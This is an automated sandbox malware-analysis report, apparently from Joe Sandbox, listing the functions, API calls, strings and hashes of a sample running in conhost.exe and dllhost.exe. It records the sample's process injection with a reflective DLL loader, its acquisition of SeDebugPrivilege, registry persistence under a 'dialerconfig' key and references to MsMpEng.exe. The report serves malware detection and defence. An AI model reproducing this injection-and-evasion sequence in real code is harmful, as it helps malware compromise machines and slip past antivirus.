Memory Dump Source

Source File: 00000043.00000003.1816877183.0000014ECB470000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014ECB470000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_3_14ecb470000_conhost.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: 30a9d0c0d3f57c599bda06983a5ca6919b98e12de895e70124a407b05a736fc2
Instruction ID: e64a2298cd41d3aec9e83a4837c59a2a93894ec0a3a689e10b0c32773893aaa2
Opcode Fuzzy Hash: 30a9d0c0d3f57c599bda06983a5ca6919b98e12de895e70124a407b05a736fc2
Instruction Fuzzy Hash: 6E615533608B848AEB20DF65E4803DD77E0F348B88F144215EF4967BA9EB78D595D700

Function 0000014ECB4A23F8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 0000014ECB4A24DE
StrCpyW.SHLWAPI ref: 0000014ECB4A24F5

Strings

\\.\pipe\, xrefs: 0000014ECB4A24E9

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: d24fa520fd7dbb7ec2b76f1d32a897148e6d9871f9771e10c0de33aaa48a33cd
Instruction ID: 26a34ca8140d5b6782c837618b6e6f9492d47fe25b08c83a6f2827b2187dc893
Opcode Fuzzy Hash: d24fa520fd7dbb7ec2b76f1d32a897148e6d9871f9771e10c0de33aaa48a33cd
Instruction Fuzzy Hash: 9751AF3220C7A18AEE649B26B8E43EAB7D5F385780F440025DF4953BA9FB39C464F740

Function 0000014ECB482DDB Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

_log10_special.LIBCMT ref: 0000014ECB483071

Strings

dll, xrefs: 0000014ECB482E95

Memory Dump Source

Source File: 00000043.00000003.1816877183.0000014ECB470000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014ECB470000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_3_14ecb470000_conhost.jbxd

Similarity

API ID: _log10_special
String ID: dll
API String ID: 3812965864-1037284150
Opcode ID: f5c871aa60dc0e0ec45b8b1933c36a9d422e8a67736998cb73b4f17a378e9579
Instruction ID: 48cd718d08c447425f76de0a5c8bb0694ae89d13908c770e30d27bc986d47a7c
Opcode Fuzzy Hash: f5c871aa60dc0e0ec45b8b1933c36a9d422e8a67736998cb73b4f17a378e9579
Instruction Fuzzy Hash: 3F61463192DF588CD9539BB9B8923A577987F527C5F41D307EA0AB1A72F7179043E200

Function 0000014ECB4B2B20 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 0000014ECB4B2C37
GetLastError.KERNEL32 ref: 0000014ECB4B2C59

Strings

U, xrefs: 0000014ECB4B2BE3

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 08a3ddd2b86f7b8515106781585b8c8a1d40bea7a265024b77d0f248b7dc9f58
Instruction ID: 4cc2fea11d58c383f4b2d4d2e48675e1969bc90da95d5cd4ba07b5956df6ff6e
Opcode Fuzzy Hash: 08a3ddd2b86f7b8515106781585b8c8a1d40bea7a265024b77d0f248b7dc9f58
Instruction Fuzzy Hash: 30419F72218A408ADF60CF25F4853EA77A1F798794F804125EF4D877A8EF78C541D740

Function 0000014ECB4A98D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 0000014ECB4A9920
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,0000014ECB4A850B), ref: 0000014ECB4A9961

Strings

csm, xrefs: 0000014ECB4A994E

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: d6e187f7c3a97b3215a18421b3b0fdb8c27e8d274db127c5d8f8eb200af9c340
Instruction ID: 916d00dec64bfa9cee5d0b927f8533ba1ce2f79c870591d517cd3f95bc3221f0
Opcode Fuzzy Hash: d6e187f7c3a97b3215a18421b3b0fdb8c27e8d274db127c5d8f8eb200af9c340
Instruction Fuzzy Hash: 6D11F832219B8496EB618F15F48039AB7E5F788B94F584225EF8D47B68EF3CC561DB00

Function 0000014ECB477786 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 0000014ECB4777AC

Strings

`vector constructor iterator', xrefs: 0000014ECB4777B1
ctor closure', xrefs: 0000014ECB477794

Memory Dump Source

Source File: 00000043.00000003.1816877183.0000014ECB470000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014ECB470000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_3_14ecb470000_conhost.jbxd

Similarity

API ID: __std_exception_copy
String ID: `vector constructor iterator'$ctor closure'
API String ID: 592178966-3792692944
Opcode ID: 3d94f62f39723b7dc1272b79e31019e2f4db169682176d2f048e7421b3153389
Instruction ID: e241aad1e42cceb9e8dc81d22c3b89081eecb76c870fab82fc01749aaf1efc11
Opcode Fuzzy Hash: 3d94f62f39723b7dc1272b79e31019e2f4db169682176d2f048e7421b3153389
Instruction Fuzzy Hash: 4FE08671A45B44D4DF018F22F4C02D833E0FB58B58B499122DB5C46361FA38D5E9C340

Function 0000014ECB4777E4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 0000014ECB477808

Strings

destructor iterator', xrefs: 0000014ECB47780D
ctor closure', xrefs: 0000014ECB4777F0

Memory Dump Source

Source File: 00000043.00000003.1816877183.0000014ECB470000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014ECB470000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_3_14ecb470000_conhost.jbxd

Similarity

API ID: __std_exception_copy
String ID: ctor closure'$destructor iterator'
API String ID: 592178966-595914035
Opcode ID: 178c451bf754e9b3f91433b5168c8e4fc02ede9add1333831d18f9cb102bf374
Instruction ID: 9a78ed5e1ceb7082c07a5eaa5815447d9467fc6ed71737e5f97eefab74266bed
Opcode Fuzzy Hash: 178c451bf754e9b3f91433b5168c8e4fc02ede9add1333831d18f9cb102bf374
Instruction Fuzzy Hash: 5BE08671A05B44C4DF028F21E4C01D833A0F758B58B889122CB5C46361FA38D5E5C340

Function 0000014ECB4778EC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 11COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 0000014ECB4778F5

Strings

`scalar deleting destructor', xrefs: 0000014ECB477911
rFeaturePresent, xrefs: 0000014ECB4778FA

Memory Dump Source

Source File: 00000043.00000003.1816877183.0000014ECB470000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014ECB470000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_3_14ecb470000_conhost.jbxd

Similarity

API ID: std::bad_alloc::bad_alloc
String ID: `scalar deleting destructor'$rFeaturePresent
API String ID: 1875163511-1689945142
Opcode ID: 825dc38fabb3a4a7c87f2f3a88ae4ed20e2ecae66053889663208d07eaa1d642
Instruction ID: e01fec8fdcd9795999e355c65041d5715ebd5fdcfa3ed192c2825a22ad945997
Opcode Fuzzy Hash: 825dc38fabb3a4a7c87f2f3a88ae4ed20e2ecae66053889663208d07eaa1d642
Instruction Fuzzy Hash: 2BD09E32219A849DEE10EB04F8C57C973B4F394309FD04411D34D819B5EF29CA8AE750

Function 0000014ECB4A1C34 Relevance: 5.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000014ECB4A1C6D
HeapAlloc.KERNEL32 ref: 0000014ECB4A1C7B
GetProcessHeap.KERNEL32 ref: 0000014ECB4A1CA0
HeapFree.KERNEL32 ref: 0000014ECB4A1CAE

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 138e9805673e9783fb607e1b8e779fad2fd7a8f9a8e5a925b2c8afb7781e516c
Instruction ID: 03e36ff1f2ebdce795588aba2221a9ed4440791b52474e0c844943549e2df1d7
Opcode Fuzzy Hash: 138e9805673e9783fb607e1b8e779fad2fd7a8f9a8e5a925b2c8afb7781e516c
Instruction Fuzzy Hash: 75115735A09F9089EE048B67A8482A9B7E1FB89FD0F594128DF8D93735EF38D4529300

Function 0000014ECB4A1268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000014ECB4A126E
HeapAlloc.KERNEL32 ref: 0000014ECB4A127D
GetProcessHeap.KERNEL32 ref: 0000014ECB4A1297
HeapAlloc.KERNEL32 ref: 0000014ECB4A12A8

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 82c219c6629c72d91ab1c60b28cb1fe49c35d6a1ad48fabfff97e5801092fb08
Instruction ID: 3db712e85a20a2bbb1e1d20fb619cac631aa4e195e0f1b377965de5bea0f8112
Opcode Fuzzy Hash: 82c219c6629c72d91ab1c60b28cb1fe49c35d6a1ad48fabfff97e5801092fb08
Instruction Fuzzy Hash: 56E0ED71611A408AEB049F62E85C3A9B7E2FB88F56F45C024CB4947361EF7D84999750

Function 0000014ECB4A1000 Relevance: 5.0, APIs: 4, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000014ECB4A1006
HeapAlloc.KERNEL32 ref: 0000014ECB4A1015
GetProcessHeap.KERNEL32 ref: 0000014ECB4A1028
HeapAlloc.KERNEL32 ref: 0000014ECB4A1037

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 5675c379a8d9e89708cd85a835e518bb04a23da85e3639b53f95be9f51753b7f
Instruction ID: 714149d3e2afaf04e94105d74a5f745b9d9f92ff2202fda82418113139e2828f
Opcode Fuzzy Hash: 5675c379a8d9e89708cd85a835e518bb04a23da85e3639b53f95be9f51753b7f
Instruction Fuzzy Hash: 6DE012716119408BEB089F62E8483A9F7E2FB8CF16F448024CB0947321EE3C8499D710

Analysis Process: dllhost.exePID: 8008, Parent PID: 552COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0000000140002D54 Relevance: 84.3, APIs: 36, Strings: 12, Instructions: 258
registrymemorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140002A14: StrCpyW.SHLWAPI ref: 0000000140002A45
Part of subcall function 0000000140002A14: StrCatW.SHLWAPI ref: 0000000140002A53
Part of subcall function 0000000140002A14: GetModuleHandleW.KERNEL32 ref: 0000000140002A5C
Part of subcall function 0000000140002A14: GetCurrentProcess.KERNEL32 ref: 0000000140002A7C
Part of subcall function 0000000140002A14: K32GetModuleInformation.KERNEL32 ref: 0000000140002A90
Part of subcall function 0000000140002A14: CreateFileW.KERNELBASE ref: 0000000140002AC0
Part of subcall function 0000000140002A14: CreateFileMappingW.KERNELBASE ref: 0000000140002AEA
Part of subcall function 0000000140002A14: MapViewOfFile.KERNELBASE ref: 0000000140002B0D
Part of subcall function 0000000140002A14: lstrcmpiA.KERNEL32 ref: 0000000140002B63
Part of subcall function 0000000140002A14: CloseHandle.KERNELBASE ref: 0000000140002BCF
Part of subcall function 0000000140002A14: CloseHandle.KERNEL32 ref: 0000000140002BD8
Part of subcall function 0000000140002A14: FreeLibrary.KERNEL32 ref: 0000000140002BE1

Part of subcall function 0000000140002A14: VirtualProtect.KERNEL32 ref: 0000000140002B96
Part of subcall function 0000000140002A14: VirtualProtect.KERNEL32 ref: 0000000140002BC6

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002D7C
OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002D8C
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002DA6
LookupPrivilegeValueW.ADVAPI32 ref: 0000000140002DBD
AdjustTokenPrivileges.KERNELBASE ref: 0000000140002DF5
GetLastError.KERNEL32 ref: 0000000140002DFF
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002E08
RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002E31
RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002E61
RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002E91
GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002EA5
HeapAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002EB3
GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002EC6
HeapAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002ED4
RegQueryValueExW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002F03
RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002F33
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002F45
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002F4B
RegCreateKeyExW.KERNELBASE ref: 0000000140002F87
ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 0000000140002FAE
RegSetKeySecurity.KERNELBASE ref: 0000000140002FC7
LocalFree.KERNEL32 ref: 0000000140002FD1
RegCreateKeyExW.KERNELBASE ref: 0000000140003007
GetCurrentProcessId.KERNEL32 ref: 0000000140003011
RegSetValueExW.KERNELBASE ref: 0000000140003038
RegCloseKey.KERNELBASE ref: 0000000140003042
RegCloseKey.ADVAPI32 ref: 000000014000304C
CreateThread.KERNELBASE ref: 000000014000306D
GetProcessHeap.KERNEL32 ref: 0000000140003073
HeapAlloc.KERNEL32 ref: 0000000140003082
CreateThread.KERNELBASE ref: 00000001400030B0
CreateThread.KERNELBASE ref: 00000001400030D1
ShellExecuteW.SHELL32 ref: 000000014000310B
GetProcessHeap.KERNEL32 ref: 000000014000316B
HeapFree.KERNEL32 ref: 0000000140003179
SleepEx.KERNELBASE ref: 0000000140003182

Strings

D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA), xrefs: 0000000140002FA7
?, xrefs: 0000000140002FFB
kernel32.dll, xrefs: 0000000140002D70
open, xrefs: 00000001400030EC
SeDebugPrivilege, xrefs: 0000000140002DB6
SOFTWARE, xrefs: 0000000140002E27
svc64, xrefs: 000000014000301B
dialerdll32, xrefs: 0000000140002E4F, 0000000140002EDE
dialerdll64, xrefs: 0000000140002E7F, 0000000140002F18
ntdll.dll, xrefs: 0000000140002D64
pid, xrefs: 0000000140002FE4
SOFTWARE\dialerconfig, xrefs: 0000000140002F66

Memory Dump Source

Source File: 00000044.00000002.1821606470.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000044.00000002.1821582967.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821633102.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821692361.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_140000000_dllhost.jbxd

Similarity

API ID: Process$Heap$Create$CloseValue$CurrentHandleQuery$AllocFileFreeOpenSecurityThread$DescriptorModuleProtectTokenVirtual$AdjustConvertErrorExecuteInformationLastLibraryLocalLookupMappingPrivilegePrivilegesShellSleepStringViewlstrcmpi
String ID: ?$D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)$SOFTWARE$SOFTWARE\dialerconfig$SeDebugPrivilege$dialerdll32$dialerdll64$kernel32.dll$ntdll.dll$open$pid$svc64
API String ID: 3658652915-98388624
Opcode ID: 511ba1f119688a7c2bce4f997cca157a19b0503c9fa3f0e54d5988af19886ff8
Instruction ID: 64b8ffd44a99f3ce8fcd0b7b346b5b7659867d38c7c320bcd7049fd2825a730f
Opcode Fuzzy Hash: 511ba1f119688a7c2bce4f997cca157a19b0503c9fa3f0e54d5988af19886ff8
Instruction Fuzzy Hash: C6C1F2F2200A4186EB26DF22F8547DA37A5F78CBD9F814116BB4A43A75DF38C589C744

Function 0000000140001860 Relevance: 59.8, APIs: 29, Strings: 5, Instructions: 289
memorystringnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32 ref: 0000000140001896
IsWow64Process.KERNEL32 ref: 00000001400018B2
CloseHandle.KERNELBASE ref: 00000001400018D6
OpenProcess.KERNEL32 ref: 0000000140001931
OpenProcess.KERNEL32 ref: 0000000140001950
K32GetModuleFileNameExW.KERNEL32 ref: 000000014000196D
PathFindFileNameW.SHLWAPI ref: 000000014000197B
lstrlenW.KERNEL32 ref: 0000000140001987
StrCpyW.SHLWAPI ref: 000000014000199E
CloseHandle.KERNEL32 ref: 00000001400019AA
StrCmpIW.SHLWAPI ref: 00000001400019E9
NtQueryInformationProcess.NTDLL ref: 0000000140001A1A
OpenProcessToken.ADVAPI32 ref: 0000000140001A42
GetTokenInformation.KERNELBASE ref: 0000000140001A6E
GetLastError.KERNEL32 ref: 0000000140001A78
LocalAlloc.KERNEL32 ref: 0000000140001A8B
GetTokenInformation.KERNELBASE ref: 0000000140001AB7
GetSidSubAuthorityCount.ADVAPI32 ref: 0000000140001AC4
GetSidSubAuthority.ADVAPI32 ref: 0000000140001AD3
LocalFree.KERNEL32 ref: 0000000140001AEB
CloseHandle.KERNEL32 ref: 0000000140001AFF
StrStrA.SHLWAPI ref: 0000000140001BA9
VirtualAllocEx.KERNEL32 ref: 0000000140001C14
WriteProcessMemory.KERNELBASE ref: 0000000140001C37
WaitForSingleObject.KERNEL32 ref: 0000000140001C78
GetExitCodeThread.KERNEL32 ref: 0000000140001C8E
VirtualFreeEx.KERNELBASE ref: 0000000140001CB0
CloseHandle.KERNELBASE ref: 0000000140001CC1
CloseHandle.KERNEL32 ref: 0000000140001CCA

Strings

MsMpEng.exe, xrefs: 00000001400019B5
MSBuild.exe, xrefs: 00000001400019C8
dialer.exe, xrefs: 00000001400019D4
ReflectiveDllMain, xrefs: 0000000140001B9F
@, xrefs: 0000000140001C07

Memory Dump Source

Source File: 00000044.00000002.1821606470.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000044.00000002.1821582967.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821633102.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821692361.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_140000000_dllhost.jbxd

Similarity

API ID: Process$CloseHandle$Open$InformationToken$AllocAuthorityFileFreeLocalNameVirtual$CodeCountErrorExitFindLastMemoryModuleObjectPathQuerySingleThreadWaitWow64Writelstrlen
String ID: @$MSBuild.exe$MsMpEng.exe$ReflectiveDllMain$dialer.exe
API String ID: 2456419452-213581914
Opcode ID: 2bee834698dc212ad1e7088f0667ade3b93d0654afe3c54c2a62f3891622f4bd
Instruction ID: c88bb7c69995235f0751d37bc2d3b37891dd0b76cd64fd565fb581fb6c90924f
Opcode Fuzzy Hash: 2bee834698dc212ad1e7088f0667ade3b93d0654afe3c54c2a62f3891622f4bd
Instruction Fuzzy Hash: 66C14BF170064186EB66DF23B8807EA37A1FB89BC4F444129EB4A47BA4DF38C985C744

Function 0000000140001CF0 Relevance: 19.6, APIs: 13, Instructions: 131
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000000140001D23
HeapAlloc.KERNEL32 ref: 0000000140001D36
GetProcessHeap.KERNEL32 ref: 0000000140001D44
HeapAlloc.KERNEL32 ref: 0000000140001D55
K32EnumProcesses.KERNEL32 ref: 0000000140001D6F
OpenProcess.KERNEL32 ref: 0000000140001D9D
K32EnumProcessModulesEx.KERNEL32 ref: 0000000140001DCA
ReadProcessMemory.KERNEL32 ref: 0000000140001E01
CloseHandle.KERNELBASE ref: 0000000140001E3D
GetProcessHeap.KERNEL32 ref: 0000000140001E4F
RtlFreeHeap.NTDLL ref: 0000000140001E5D
GetProcessHeap.KERNEL32 ref: 0000000140001E63
RtlFreeHeap.NTDLL ref: 0000000140001E71

Memory Dump Source

Source File: 00000044.00000002.1821606470.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000044.00000002.1821582967.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821633102.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821692361.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFree$CloseHandleMemoryModulesOpenProcessesRead
String ID:
API String ID: 4084875642-0
Opcode ID: ba5697e447d87321b3970d2a80d21a8dae171d7d4a90f8eea2aa6f3ee5ecc7d8
Instruction ID: 28fb11b33fc6f94ec1b72d6715988f9935dfd05350da2d8862b8b96723d9be5a
Opcode Fuzzy Hash: ba5697e447d87321b3970d2a80d21a8dae171d7d4a90f8eea2aa6f3ee5ecc7d8
Instruction Fuzzy Hash: 145169B27116808AEB66DF63F8587EA26A1F78DBD4F404029EF4947764DF38C586C704

Function 0000000140002300 Relevance: 9.1, APIs: 6, Instructions: 82
memorypipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 000000014000234F
SetEntriesInAclW.ADVAPI32 ref: 0000000140002397
LocalAlloc.KERNEL32 ref: 00000001400023A7
InitializeSecurityDescriptor.ADVAPI32 ref: 00000001400023BB
SetSecurityDescriptorDacl.ADVAPI32 ref: 00000001400023D2
CreateNamedPipeW.KERNELBASE ref: 0000000140002413

Memory Dump Source

Source File: 00000044.00000002.1821606470.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000044.00000002.1821582967.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821633102.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821692361.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_140000000_dllhost.jbxd

Similarity

API ID: DescriptorInitializeSecurity$AllocAllocateCreateDaclEntriesLocalNamedPipe
String ID:
API String ID: 3197395349-0
Opcode ID: 37e6648599b0826955785ac87fece2d8239bb794969fe8891e8706d602f244c1
Instruction ID: 08f0d969cdc459eeaae67e0f3491139f795acf93ec6e34b01acc3ed94c40f622
Opcode Fuzzy Hash: 37e6648599b0826955785ac87fece2d8239bb794969fe8891e8706d602f244c1
Instruction Fuzzy Hash: 173169B2214691CAE761CF25F4807DE77A4F748798F40422AFB4947EA8DB78C259CB44

Function 0000000140001514 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000000014000151F
HeapAlloc.KERNEL32 ref: 000000014000152E

Part of subcall function 0000000140001220: GetProcessHeap.KERNEL32(?,?,00000000,000000014000153C), ref: 0000000140001226
Part of subcall function 0000000140001220: HeapAlloc.KERNEL32(?,?,00000000,000000014000153C), ref: 0000000140001235
Part of subcall function 0000000140001220: GetProcessHeap.KERNEL32(?,?,00000000,000000014000153C), ref: 000000014000124F
Part of subcall function 0000000140001220: HeapAlloc.KERNEL32(?,?,00000000,000000014000153C), ref: 0000000140001260

Part of subcall function 0000000140001000: GetProcessHeap.KERNEL32(?,?,00000000,0000000140001544), ref: 0000000140001006
Part of subcall function 0000000140001000: HeapAlloc.KERNEL32(?,?,00000000,0000000140001544), ref: 0000000140001015
Part of subcall function 0000000140001000: GetProcessHeap.KERNEL32(?,?,00000000,0000000140001544), ref: 0000000140001028
